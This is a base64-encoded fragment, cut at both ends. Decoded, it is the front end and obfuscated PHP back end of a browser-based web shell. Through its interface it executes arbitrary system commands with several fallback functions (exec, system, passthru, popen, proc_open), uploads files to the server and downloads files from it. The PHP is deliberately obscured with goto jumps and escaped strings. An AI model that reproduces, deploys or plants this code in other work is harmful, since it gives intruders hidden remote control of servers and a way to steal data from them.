gICAgICAgICBwYWRkaW5nOiAwIDVweDsKICAgICAgICAgICAgICAgIGhlaWdodDogMzBweDsKICAgICAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAzMHB4OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgI3NoZWxsLWNtZCB7CiAgICAgICAgICAgICAgICBoZWlnaHQ6IDMwcHg7CiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogMzBweDsKICAgICAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50OwogICAgICAgICAgICAgICAgY29sb3I6ICNlZWU7CiAgICAgICAgICAgICAgICBmb250LWZhbWlseTogbW9ub3NwYWNlOwogICAgICAgICAgICAgICAgZm9udC1zaXplOiAxMHB0OwogICAgICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgICAgICBhbGlnbi1zZWxmOiBjZW50ZXI7CiAgICAgICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgZGl2IHsKICAgICAgICAgICAgICAgIGZsZXgtZ3JvdzogMTsKICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBzdHJldGNoOwogICAgICAgICAgICB9CgogICAgICAgICAgICAjc2hlbGwtaW5wdXQgaW5wdXQgewogICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTsKICAgICAgICAgICAgfQogICAgICAgIDwvc3R5bGU+CgogICAgICAgIDxzY3JpcHQ+CiAgICAgICAgICAgIHZhciBTSEVMTF9DT05GSUcgPSA8P3BocCAgZ290byBIQjN3WTsgajZLR3I6IGZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQoJHBhdGgsICRmaWxlLCAkY3dkKSB7IGNoZGlyKCRjd2QpOyAkZiA9IEBmb3BlbigkcGF0aCwgIlx4NzdceDYyIik7IGlmICgkZiA9PT0gRkFMU0UpIHsgcmV0dXJuIGFycmF5KCJcMTYzXHg3NFx4NjRceDZmXHg3NVwxNjQiID0+IGJhc2U2NF9lbmNvZGUoIlx4NDlcMTU2XDE2NlwxNDFceDZjXHg2OVx4NjRcNDBceDcwXDE0MVx4NzRceDY4XHgyMFw1N1x4MjBcMTU2XDE1N1w0MFwxNjdcMTYyXDE1MVx4NzRcMTQ1XDQwXDE2MFwxNDVcMTYyXHg2ZFwxNTFceDczXHg3M1x4NjlcMTU3XDE1Nlx4MmUiKSwgIlx4NjNceDc3XHg2NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IGVsc2UgeyBmd3JpdGUoJGYsIGJhc2U2NF9kZWNvZGUoJGZpbGUpKTsgZmNsb3NlKCRmKTsgcmV0dXJuIGFycmF5KCJcMTYzXHg3NFwxNDRcMTU3XHg3NVx4NzQiID0+IGJhc2U2NF9lbmNvZGUoIlwxMDRceDZmXDE1Nlx4NjVcNTYiKSwgIlwxNDNcMTY3XDE0NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IH0gZ290byBvRVZUMzsgZTd0SFY6IGZ1bmN0aW9uIGlzUnVubmluZ1dpbmRvd3MoKSB7IHJldHVybiBzdHJpcG9zKFBIUF9PUywgIlx4NTdceDQ5XDExNiIpID09PSAwOyB9IGdvdG8gZXhXcHg7IFpNemlLOiBmdW5jdGlvbiBleGVjdXRlQ29tbWFuZCgkY21kKSB7ICRvdXRwdXQgPSAnJzsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE0NVx4NzhcMTQ1XHg2MyIpKSB7IGV4ZWMoJGNtZCwgJG91dHB1dCk7ICRvdXRwdXQgPSBpbXBsb2RlKCJcMTIiLCAkb3V0cHV0KTsgfSBlbHNlIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjhceDY1XDE1NFwxNTRceDVmXHg2NVwxNzBceDY1XHg2MyIpKSB7ICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjbWQpOyB9IGVsc2UgeyBpZiAoYWxsRnVuY3Rpb25FeGlzdChhcnJheSgiXHg3M1wxNzFcMTYzXHg3NFx4NjVcMTU1IiwgIlx4NmZcMTQyXDEzN1wxNjNceDc0XHg2MVwxNjJcMTY0IiwgIlx4NmZceDYyXDEzN1x4NjdcMTQ1XDE2NFwxMzdcMTQzXHg2ZlwxNTZceDc0XHg2NVx4NmVcMTY0XHg3MyIsICJceDZmXDE0Mlx4NWZcMTQ1XHg2ZVx4NjRcMTM3XDE0M1x4NmNceDY1XDE0MVwxNTYiKSkpIHsgb2Jfc3RhcnQoKTsgc3lzdGVtKCRjbWQpOyAkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOyB9IGVsc2UgeyBpZiAoYWxsRnVuY3Rpb25FeGlzdChhcnJheSgiXDE2MFx4NjFcMTYzXDE2M1wxNjRceDY4XHg3MlwxNjUiLCAiXDE1N1wxNDJcMTM3XDE2M1x4NzRceDYxXHg3MlwxNjQiLCAiXDE1N1wxNDJceDVmXDE0N1wxNDVceDc0XDEzN1wxNDNcMTU3XDE1Nlx4NzRceDY1XHg2ZVwxNjRceDczIiwgIlwxNTdcMTQyXHg1ZlwxNDVceDZlXDE0NFwxMzdcMTQzXDE1NFx4NjVcMTQxXDE1NiIpKSkgeyBvYl9zdGFydCgpOyBwYXNzdGhydSgkY21kKTsgJG91dHB1dCA9IG9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgfSBlbHNlIHsgaWYgKGFsbEZ1bmN0aW9uRXhpc3QoYXJyYXkoIlwxNjBcMTU3XHg3MFx4NjVcMTU2IiwgIlwxNDZcMTQ1XHg2Zlx4NjYiLCAiXHg2Nlx4NzJceDY1XHg2MVx4NjQiLCAiXHg3MFx4NjNceDZjXDE1N1wxNjNcMTQ1IikpKSB7ICRoYW5kbGUgPSBwb3BlbigkY21kLCAiXHg3MiIpOyB3aGlsZSAoIWZlb2YoJGhhbmRsZSkpIHsgJG91dHB1dCAuPSBmcmVhZCgkaGFuZGxlLCA0MDk2KTsgfSBwY2xvc2UoJGhhbmRsZSk7IH0gZWxzZSB7IGlmIChhbGxGdW5jdGlvbkV4aXN0KGFycmF5KCJceDcwXDE2Mlx4NmZcMTQzXHg1Zlx4NmZceDcwXHg2NVx4NmUiLCAiXHg3M1x4NzRcMTYyXDE0NVwxNDFcMTU1XHg1Zlx4NjdcMTQ1XDE2NFwxMzdceDYzXDE1N1x4NmVceDc0XHg2NVwxNTZcMTY0XHg3MyIsICJceDcwXDE2Mlx4NmZceDYzXHg1ZlwxNDNcMTU0XHg2ZlwxNjNceDY1IikpKSB7ICRoYW5kbGUgPSBwcm9jX29wZW4oJGNtZCwgYXJyYXkoMCA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXDE0NSIsICJceDcyIiksIDEgPT4gYXJyYXkoIlwxNjBcMTUxXHg3MFwxNDUiLCAiXDE2NyIpKSwgJHBpcGVzKTsgJG91dHB1dCA9IHN0cmVhbV9nZXRfY29udGVudHMoJHBpcGVzWzFdKTsgcHJvY19jbG9zZSgkaGFuZGxlKTsgfSB9IH0gfSB9IH0gcmV0dXJuICRvdXRwdXQ7IH0gZ290byBlN3RIVjsgU0lMV0s6ICRTSEVMTF9DT05GSUcgPSBhcnJheSgiXDE2NVwxNjNceDY1XHg3Mlx4NmVceDYxXHg2ZFx4NjUiID0+ICJceDQzXDE1N1wxNTZceDc0XDE2MlwxNTdceDZjXHg3M1wxNDRcMTQxIiwgIlx4NjhcMTU3XDE2M1wxNjRceDZlXHg2MVx4NmRceDY1IiA9PiAiXHg2Y1x4NmZcMTQzXDE0MVx4NmNcMTUwXHg2ZlwxNjNceDc0Iik7IGdvdG8gUzFnZ2g7IFMxZ2doOiBmdW5jdGlvbiBleHBhbmRQYXRoKCRwYXRoKSB7IGlmIChwcmVnX21hdGNoKCJcNDNceDVlXHgyOFx4N2VceDViXHg2MVx4MmRceDdhXHg0MVw1NVwxMzJceDMwXHgyZFw3MVwxMzdceDJlXHgyZFx4NWRceDJhXHgyOVw1MFx4MmZceDJlXDUyXHgyOVw3N1x4MjRcNDMiLCAkcGF0aCwgJG1hdGNoKSkgeyBleGVjKCJcMTQ1XHg2M1x4NjhceDZmXHgyMHskbWF0Y2hbIlw2MSJdfSIsICRzdGRvdXQpOyByZXR1cm4gJHN0ZG91dFswXSAuICRtYXRjaFsyXTsgfSByZXR1cm4gJHBhdGg7IH0gZ290byBvWXlJVzsgakdXVkU6IGZ1bmN0aW9uIGZlYXR1cmVIaW50KCRmaWxlTmFtZSwgJGN3ZCwgJHR5cGUpIHsgY2hkaXIoJGN3ZCk7IGlmICgkdHlwZSA9PSAiXHg2M1wxNTVcMTQ0IikgeyAkY21kID0gIlx4NjNceDZmXDE1NVwxNjBcMTQ3XDE0NVx4NmVceDIwXDU1XHg2M1w0MHskZmlsZU5hbWV9IjsgfSBlbHNlIHsgJGNtZCA9ICJcMTQzXDE1N1wxNTVcMTYwXDE0N1wxNDVceDZlXHgyMFx4MmRcMTQ2XHgyMHskZmlsZU5hbWV9IjsgfSAkY21kID0gIlx4MmZcMTQyXDE1MVx4NmVceDJmXHg2Mlx4NjFceDczXHg2OFw0MFw1NVwxNDNceDIwXHgyMnskY21kfVx4MjIiOyAkZmlsZXMgPSBleHBsb2RlKCJcMTIiLCBzaGVsbF9leGVjKCRjbWQpKTsgZm9yZWFjaCAoJGZpbGVzIGFzICYkZmlsZW5hbWUpIHsgJGZpbGVuYW1lID0gYmFzZTY0X2VuY29kZSgkZmlsZW5hbWUpOyB9IHJldHVybiBhcnJheSgiXHg2Nlx4NjlceDZjXDE0NVwxNjMiID0+ICRmaWxlcyk7IH0gZ290byBFWnNrUjsgSEIzd1k6IGVjaG8ganNvbl9lbmNvZGUoJFNIRUxMX0NPTkZJRyk7IGdvdG8gYVJES3A7IGFSREtwOiA/Pgo7CiAgICAgICAgICAgIHZhciBDV0QgPSBudWxsOwogICAgICAgICAgICB2YXIgY29tbWFuZEhpc3RvcnkgPSBbXTsKICAgICAgICAgICAgdmFyIGhpc3RvcnlQb3NpdGlvbiA9IDA7CiAgICAgICAgICAgIHZhciBlU2hlbGxDbWRJbnB1dCA9IG51bGw7CiAgICAgICAgICAgIHZhciBlU2hlbGxDb250ZW50ID0gbnVsbDsKCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRDb21tYW5kKGNvbW1hbmQpIHsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICJcblxuIjsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuaW5uZXJIVE1MICs9ICc8c3BhbiBjbGFzcz1cInNoZWxsLXByb21wdFwiPicgKyBnZW5Qcm9tcHQoQ1dEKSArICc8L3NwYW4+ICc7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSBlc2NhcGVIdG1sKGNvbW1hbmQpOwogICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgKz0gIlxuIjsKICAgICAgICAgICAgICAgIGVTaGVsbENvbnRlbnQuc2Nyb2xsVG9wID0gZVNoZWxsQ29udGVudC5zY3JvbGxIZWlnaHQ7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIF9pbnNlcnRTdGRvdXQoc3Rkb3V0KSB7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LmlubmVySFRNTCArPSBlc2NhcGVIdG1sKHN0ZG91dCk7CiAgICAgICAgICAgICAgICBlU2hlbGxDb250ZW50LnNjcm9sbFRvcCA9IGVTaGVsbENvbnRlbnQuc2Nyb2xsSGVpZ2h0OwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfZGVmZXIoY2FsbGJhY2spIHsKICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoY2FsbGJhY2ssIDApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlU2hlbGwoY29tbWFuZCkgewoKICAgICAgICAgICAgICAgIF9pbnNlcnRDb21tYW5kKGNvbW1hbmQpOwogICAgICAgICAgICAgICAgaWYgKC9eXHMqdXBsb2FkXHMrW15cc10rXHMqJC8udGVzdChjb21tYW5kKSkgewogICAgICAgICAgICAgICAgICAgIGZlYXR1cmVVcGxvYWQoY29tbWFuZC5tYXRjaCgvXlxzKnVwbG9hZFxzKyhbXlxzXSspXHMqJC8pWzFdKTsKICAgICAgICAgICAgICAgIH0gZWxzZSBpZiAoL15ccypjbGVhclxzKiQvLnRlc3QoY29tbWFuZCkpIHsKICAgICAgICAgICAgICAgICAgICAvLyBCYWNrZW5kIHNoZWxsIFRFUk0gZW52aXJvbm1lbnQgdmFyaWFibGUgbm90IHNldC4gQ2xlYXIgY29tbWFuZCBoaXN0b3J5IGZyb20gVUkgYnV0IGtlZXAgaW4gYnVmZmVyCiAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ29udGVudC5pbm5lckhUTUwgPSAnJzsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgbWFrZVJlcXVlc3QoIj9mZWF0dXJlPXNoZWxsIiwge2NtZDogY29tbWFuZCwgY3dkOiBDV0R9LCBmdW5jdGlvbiAocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHJlc3BvbnNlLmhhc093blByb3BlcnR5KCdmaWxlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZlYXR1cmVEb3dubG9hZChhdG9iKHJlc3BvbnNlLm5hbWUpLCByZXNwb25zZS5maWxlKQogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChhdG9iKHJlc3BvbnNlLnN0ZG91dCkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdXBkYXRlQ3dkKGF0b2IocmVzcG9uc2UuY3dkKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gZmVhdHVyZUhpbnQoKSB7CiAgICAgICAgICAgICAgICBpZiAoZVNoZWxsQ21kSW5wdXQudmFsdWUudHJpbSgpLmxlbmd0aCA9PT0gMCkgcmV0dXJuOyAgLy8gZmllbGQgaXMgZW1wdHkgLT4gbm90aGluZyB0byBjb21wbGV0ZQoKICAgICAgICAgICAgICAgIGZ1bmN0aW9uIF9yZXF1ZXN0Q2FsbGJhY2soZGF0YSkgewogICAgICAgICAgICAgICAgICAgIGlmIChkYXRhLmZpbGVzLmxlbmd0aCA8PSAxKSByZXR1cm47ICAvLyBubyBjb21wbGV0aW9uCiAgICAgICAgICAgICAgICAgICAgZGF0YS5maWxlcyA9IGRhdGEuZmlsZXMubWFwKGZ1bmN0aW9uKGZpbGUpewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gYXRvYihmaWxlKTsKICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICBpZiAoZGF0YS5maWxlcy5sZW5ndGggPT09IDIpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHR5cGUgPT09ICdjbWQnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9IGRhdGEuZmlsZXNbMF07CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB2YXIgY3VycmVudFZhbHVlID0gZVNoZWxsQ21kSW5wdXQudmFsdWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9IGN1cnJlbnRWYWx1ZS5yZXBsYWNlKC8oW15cc10qKSQvLCBkYXRhLmZpbGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIF9pbnNlcnRDb21tYW5kKGVTaGVsbENtZElucHV0LnZhbHVlKTsKICAgICAgICAgICAgICAgICAgICAgICAgX2luc2VydFN0ZG91dChkYXRhLmZpbGVzLmpvaW4oIlxuIikpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICB2YXIgY3VycmVudENtZCA9IGVTaGVsbENtZElucHV0LnZhbHVlLnNwbGl0KCIgIik7CiAgICAgICAgICAgICAgICB2YXIgdHlwZSA9IChjdXJyZW50Q21kLmxlbmd0aCA9PT0gMSkgPyAiY21kIiA6ICJmaWxlIjsKICAgICAgICAgICAgICAgIHZhciBmaWxlTmFtZSA9ICh0eXBlID09PSAiY21kIikgPyBjdXJyZW50Q21kWzBdIDogY3VycmVudENtZFtjdXJyZW50Q21kLmxlbmd0aCAtIDFdOwoKICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KAogICAgICAgICAgICAgICAgICAgICI/ZmVhdHVyZT1oaW50IiwKICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVuYW1lOiBmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgY3dkOiBDV0QsCiAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IHR5cGUKICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgIF9yZXF1ZXN0Q2FsbGJhY2sKICAgICAgICAgICAgICAgICk7CgogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBmZWF0dXJlRG93bmxvYWQobmFtZSwgZmlsZSkgewogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnNldEF0dHJpYnV0ZSgnaHJlZicsICdkYXRhOmFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbTtiYXNlNjQsJyArIGZpbGUpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgbmFtZSk7CiAgICAgICAgICAgICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICAgICAgZWxlbWVudC5jbGljaygpOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5yZW1vdmVDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgICAgIF9pbnNlcnRTdGRvdXQoJ0RvbmUuJyk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQocGF0aCkgewogICAgICAgICAgICAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ3R5cGUnLCAnZmlsZScpOwogICAgICAgICAgICAgICAgZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsKICAgICAgICAgICAgICAgIGVsZW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2hhbmdlJywgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgIHZhciBwcm9taXNlID0gZ2V0QmFzZTY0KGVsZW1lbnQuZmlsZXNbMF0pOwogICAgICAgICAgICAgICAgICAgIHByb21pc2UudGhlbihmdW5jdGlvbiAoZmlsZSkgewogICAgICAgICAgICAgICAgICAgICAgICBtYWtlUmVxdWVzdCgnP2ZlYXR1cmU9dXBsb2FkJywge3BhdGg6IHBhdGgsIGZpbGU6IGZpbGUsIGN3ZDogQ1dEfSwgZnVuY3Rpb24gKHJlc3BvbnNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KGF0b2IocmVzcG9uc2Uuc3Rkb3V0KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cGRhdGVDd2QoYXRvYihyZXNwb25zZS5jd2QpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAgICAgfSwgZnVuY3Rpb24gKCkgewogICAgICAgICAgICAgICAgICAgICAgICBfaW5zZXJ0U3Rkb3V0KCdBbiB1bmtub3duIGNsaWVudC1zaWRlIGVycm9yIG9jY3VycmVkLicpOwogICAgICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICBlbGVtZW50LmNsaWNrKCk7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LnJlbW92ZUNoaWxkKGVsZW1lbnQpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBnZXRCYXNlNjQoZmlsZSwgb25Mb2FkQ2FsbGJhY2spIHsKICAgICAgICAgICAgICAgIHJldHVybiBuZXcgUHJvbWlzZShmdW5jdGlvbihyZXNvbHZlLCByZWplY3QpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVhZGVyID0gbmV3IEZpbGVSZWFkZXIoKTsKICAgICAgICAgICAgICAgICAgICByZWFkZXIub25sb2FkID0gZnVuY3Rpb24oKSB7IHJlc29sdmUocmVhZGVyLnJlc3VsdC5tYXRjaCgvYmFzZTY0LCguKikkLylbMV0pOyB9OwogICAgICAgICAgICAgICAgICAgIHJlYWRlci5vbmVycm9yID0gcmVqZWN0OwogICAgICAgICAgICAgICAgICAgIHJlYWRlci5yZWFkQXNEYXRhVVJMKGZpbGUpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGdlblByb21wdChjd2QpIHsKICAgICAgICAgICAgICAgIGN3ZCA9IGN3ZCB8fCAifiI7CiAgICAgICAgICAgICAgICB2YXIgc2hvcnRDd2QgPSBjd2Q7CiAgICAgICAgICAgICAgICBpZiAoY3dkLnNwbGl0KCIvIikubGVuZ3RoID4gMykgewogICAgICAgICAgICAgICAgICAgIHZhciBzcGxpdHRlZEN3ZCA9IGN3ZC5zcGxpdCgiLyIpOwogICAgICAgICAgICAgICAgICAgIHNob3J0Q3dkID0gIuKApi8iICsgc3BsaXR0ZWRDd2Rbc3BsaXR0ZWRDd2QubGVuZ3RoLTJdICsgIi8iICsgc3BsaXR0ZWRDd2Rbc3BsaXR0ZWRDd2QubGVuZ3RoLTFdOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgcmV0dXJuIFNIRUxMX0NPTkZJR1sidXNlcm5hbWUiXSArICJAIiArIFNIRUxMX0NPTkZJR1siaG9zdG5hbWUiXSArICI6PHNwYW4gdGl0bGU9XCIiICsgY3dkICsgIlwiPiIgKyBzaG9ydEN3ZCArICI8L3NwYW4+IyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIHVwZGF0ZUN3ZChjd2QpIHsKICAgICAgICAgICAgICAgIGlmIChjd2QpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSBjd2Q7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgICAgIHJldHVybjsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIG1ha2VSZXF1ZXN0KCI/ZmVhdHVyZT1wd2QiLCB7fSwgZnVuY3Rpb24ocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgICAgICBDV0QgPSBhdG9iKHJlc3BvbnNlLmN3ZCk7CiAgICAgICAgICAgICAgICAgICAgX3VwZGF0ZVByb21wdCgpOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBlc2NhcGVIdG1sKHN0cmluZykgewogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZwogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC8mL2csICImYW1wOyIpCiAgICAgICAgICAgICAgICAgICAgLnJlcGxhY2UoLzwvZywgIiZsdDsiKQogICAgICAgICAgICAgICAgICAgIC5yZXBsYWNlKC8+L2csICImZ3Q7Iik7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIF91cGRhdGVQcm9tcHQoKSB7CiAgICAgICAgICAgICAgICB2YXIgZVNoZWxsUHJvbXB0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNoZWxsLXByb21wdCIpOwogICAgICAgICAgICAgICAgZVNoZWxsUHJvbXB0LmlubmVySFRNTCA9IGdlblByb21wdChDV0QpOwogICAgICAgICAgICB9CgogICAgICAgICAgICBmdW5jdGlvbiBfb25TaGVsbENtZEtleURvd24oZXZlbnQpIHsKICAgICAgICAgICAgICAgIHN3aXRjaCAoZXZlbnQua2V5KSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAiRW50ZXIiOgogICAgICAgICAgICAgICAgICAgICAgICBmZWF0dXJlU2hlbGwoZVNoZWxsQ21kSW5wdXQudmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICBpbnNlcnRUb0hpc3RvcnkoZVNoZWxsQ21kSW5wdXQudmFsdWUpOwogICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICJBcnJvd1VwIjoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGhpc3RvcnlQb3NpdGlvbiA+IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbi0tOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQuYmx1cigpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSBjb21tYW5kSGlzdG9yeVtoaXN0b3J5UG9zaXRpb25dOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgX2RlZmVyKGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICJBcnJvd0Rvd24iOgogICAgICAgICAgICAgICAgICAgICAgICBpZiAoaGlzdG9yeVBvc2l0aW9uID49IGNvbW1hbmRIaXN0b3J5Lmxlbmd0aCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgaGlzdG9yeVBvc2l0aW9uKys7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChoaXN0b3J5UG9zaXRpb24gPT09IGNvbW1hbmRIaXN0b3J5Lmxlbmd0aCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZVNoZWxsQ21kSW5wdXQudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmJsdXIoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVTaGVsbENtZElucHV0LmZvY3VzKCk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlU2hlbGxDbWRJbnB1dC52YWx1ZSA9IGNvbW1hbmRIaXN0b3J5W2hpc3RvcnlQb3NpdGlvbl07CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnVGFiJzoKICAgICAgICAgICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZmVhdHVyZUhpbnQoKTsKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGZ1bmN0aW9uIGluc2VydFRvSGlzdG9yeShjbWQpIHsKICAgICAgICAgICAgICAgIGNvbW1hbmRIaXN0b3J5LnB1c2goY21kKTsKICAgICAgICAgICAgICAgIGhpc3RvcnlQb3NpdGlvbiA9IGNvbW1hbmRIaXN0b3J5Lmxlbmd0aDsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgZnVuY3Rpb24gbWFrZVJlcXVlc3QodXJsLCBwYXJhbXMsIGNhbGxiYWNrKSB7CiAgICAgICAgICAgICAgICBmdW5jdGlvbiBnZXRRdWVyeVN0cmluZygpIHsKICAgICAgICAgICAgICAgICAgICB2YXIgYSA9IFtdOwogICAgICAgICAgICAgICAgICAgIGZvciAodmFyIGtleSBpbiBwYXJhbXMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKHBhcmFtcy5oYXNPd25Qcm9wZXJ0eShrZXkpKSB7CiAgICAgICAgICAgICAg